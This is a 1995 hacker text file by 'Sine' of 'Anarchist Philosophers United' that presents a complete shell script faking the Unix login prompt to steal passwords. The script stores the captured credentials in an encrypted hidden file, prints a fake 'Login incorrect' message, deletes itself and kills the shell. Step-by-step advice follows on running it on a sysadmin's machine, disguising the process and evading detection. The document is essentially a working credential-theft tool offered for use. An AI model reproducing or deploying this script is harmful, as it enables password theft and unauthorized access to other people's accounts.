+=+=+=+=+=+=+=+=+=+=+=+=+=+=++=+=+=+=+=+=+=+=+=+==+=+=+=+=+=+=+=+=+=+=+=+= #### # # # Anarchist 5 Feb 1995 ####### # Philosophers Phile 001: Simple Unix Decoy by Sine # # ### United ________________________________________________________ Welcome to the very first production from APu. I say "united" but at the moment there's only one member: me, Sine. But since I happen to be a proud non-conformist, I'm going to start releasing stuff anyway. (A one-person group? Yeah. That sounds fun. ;) ) As the name implies, I'm going to try to put together some *deep thoughts* about individualism and privacy, the need for flexible, decentralised governments, and other issues. But I'm not in the mood for that right now. Right now I feel like making a simple but versatile decoy to snatch Unix passwords. Something that isn't laden with machine-specific features that make porting it a chore. What is it? ~~~~~~~~~~~ The program by K-Man in a previous issue of Phrack did adequately after a few small modifications. But it was a bad idea doing it in C when a simple shell script would do just as well and is more portable. Many calls to the system() function is evidence that it's a job for a script. There are other problems also inherent to C programs. The necessity of compiling it makes it easier to detect, harder to edit, and of course source and object files need to be cleaned up afterwards. System calls are often different in different brands of Unix, and the source needs to be edited to reflect that. In that same issue of Phrack someone had made a simple shell script decoy, but didn't know how to stop the password from echoing. While some users would shrug it off as "some computer error," it's an unnecessary suspicion. If a smart sysadmin sees his password on the screen, he'll almost certainly realise that something unusual is going on. Here's the script. I'll explain it step by step afterwards. -------------------------------< Cut Here >------------------------------- # snatchpw.sh -- simple Unix decoy to snatch passwords clear # clear screen echo "login: \c" # display login prompt read LOGIN # get login name echo "Password: \c" # display password prompt stty -echo # turn off echo read PASSWORD # get password stty echo # turn on echo echo $LOGIN > /tmp/foo.bar # write login name echo $PASSWORD >> /tmp/foo.bar # write password crypt CaNt_GuEsS_mE /home/nobody/i.am.normal rm /tmp/foo.bar # encrypt and delete output file echo "\nLogin incorrect" # print incorrect message rm -f snatchpw.sh # delete file kill -9 -1 # exit everything -------------------------------< Cut Here >------------------------------- It's that simple. The comments explain it pretty well, but I'll explain it in detail anyway for beginners who might not understand. What the hell is it doing? ~~~~~~~~~~~~~~~~~~~~~~~~~~ First the screen is cleared (the command is c instead of clear on some systems). If it didn't clear, the user would be suspicious when he saw the login program being invoked off the command line. The login: prompt (which should be modified to match your system's) is displayed next. The user enters his login ID which is stored in the variable $LOGIN. Next the password: prompt (also modified to match your system's) is displayed, and character echo is turned off. The password is read as the variable $PASSWORD and the terminal is returned to normal. Then both the $LOGIN and $PASSWORD are written to the password file /tmp/foo.bar. In both the programs in Phrack, $LOGIN was written to the disk right after it was read from the keyboard. Accessing the disk only after the password is entered makes hyper-observant users less suspicious. If you are running this on a very busy and/or obsolete system that's quite slow, you should add a delay loop of one second (sleep 1) or so so that the user doesn't get the "login incorrect" prompt back too fast. After the login and password combination is written to disk, it is encrypted to a new file and the original is deleted. Crypt is garbage as far as encryption programs go. But it's on virtually every Unix system, and it's fairly fast, so there really isn't a better program for what you're trying to do. CaNt_GuEsS_mE should of course be replaced with a password you can easily remember. It doesn't need to be top-secret, because no one is going to try hacking at a file 20-30 bytes long that he doesn't even know is encrypted. The user is given "Login incorrect" or whatever the usual message is on your system. He will assume that he made a typo somewhere in the password. The decoy program is deleted, and "kill -9 -1" ends the program and the parent shell, causing the display to return to the normal login prompt. The unsuspecting user types his name and password once again and goes about his business. What do I do? ~~~~~~~~~~~~~ You want to keep the program on the system for the shortest amount of time possible, so you have two choices. You can keep a copy of the program on a piece of paper or in your mind and then type it out, or you can copy it off a disk which you are sure to take with you as soon as you are finished. Either way, it should be done as soon as possible before the time when you're going to run the program. When you're finished, save it with a filename that won't stand out in a ps listing, like "vi" or "sh". Go through a trial run to make sure it looks exactly like the normal login procedure. This work will pay off greatly. The best time to run it is when the system is busy. This way you won't have to wait very long for someone to log in, and the longer you wait the more dangerous it is. Go to someone's machine (preferably the sysadmin's), log on, and run "exec " from the directory where you kept the program. Leave and go about your business, but you should try to be close enough to the decoy machine to know when someone has logged on and then left. After the user/sysadmin has finished, return to the computer and decrypt the file (crypt CaNt_GuEsS_mE /). Read the file, write down the login/password combination, and then delete both the encrypted and plaintext files. If you're really paranoid you can lie low for a day or so, but otherwise you're home free with a new account. How do I prevent being caught? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The purpose of the encryption is to make the file look uninteresting. That isn't enough to avoid some users' curiosity, however. The file should have an innocuous name (not i.am.normal like the example above!) and stored in a directory that the targeted user doesn't normally access (i.e., not in or below his home directory.) Be sure to make the file hidden (put a dot before the name) for extra security. Even an intelligent sysadmin wouldn't care about a file called .opts or .sh_hist. in some- body's home directory. Encryption adds an extra measure of security. The only real danger is that the user might decide that the file is useless and delete it. That's one reason why you should pick up the file as soon as possible after you launched the decoy. You shouldn't run this on more than one or two machines at a time, and you should wait a while before running it again after you've gotten some passwords. It's better to have a few accounts and be safe than to have a lot of accounts and get booted off the next day. Note ~~~~ The only major flaw is that it cannot trap control-C's. If the user, for some odd reason, decides to control-C on a login prompt, the script will terminate. That is why it is important to exec the script rather than run it normally. It would be rather embarassing for a user to abort the login process and see a prompt with the directory /home/sine/hack or something similar. Keep on hacking, úSine +++ Upcoming APu releases: "My Way" by Sine -- the beliefs and way of life of a aggressive, yet non- violent, anarchist. "Hacker Ethics" by Sine -- more than just the usual "don't damage anything" ethics, Sine's ethics look for a more "pure" form of hacking. Not to mention a lot of dry, boring technical info! +=+=+=+=+=+=+=+=+=+=+=+=+=+=++=+=+=+=+=+=+=+=+=+==+=+=+=+=+=+=+=+=+=+=+=+=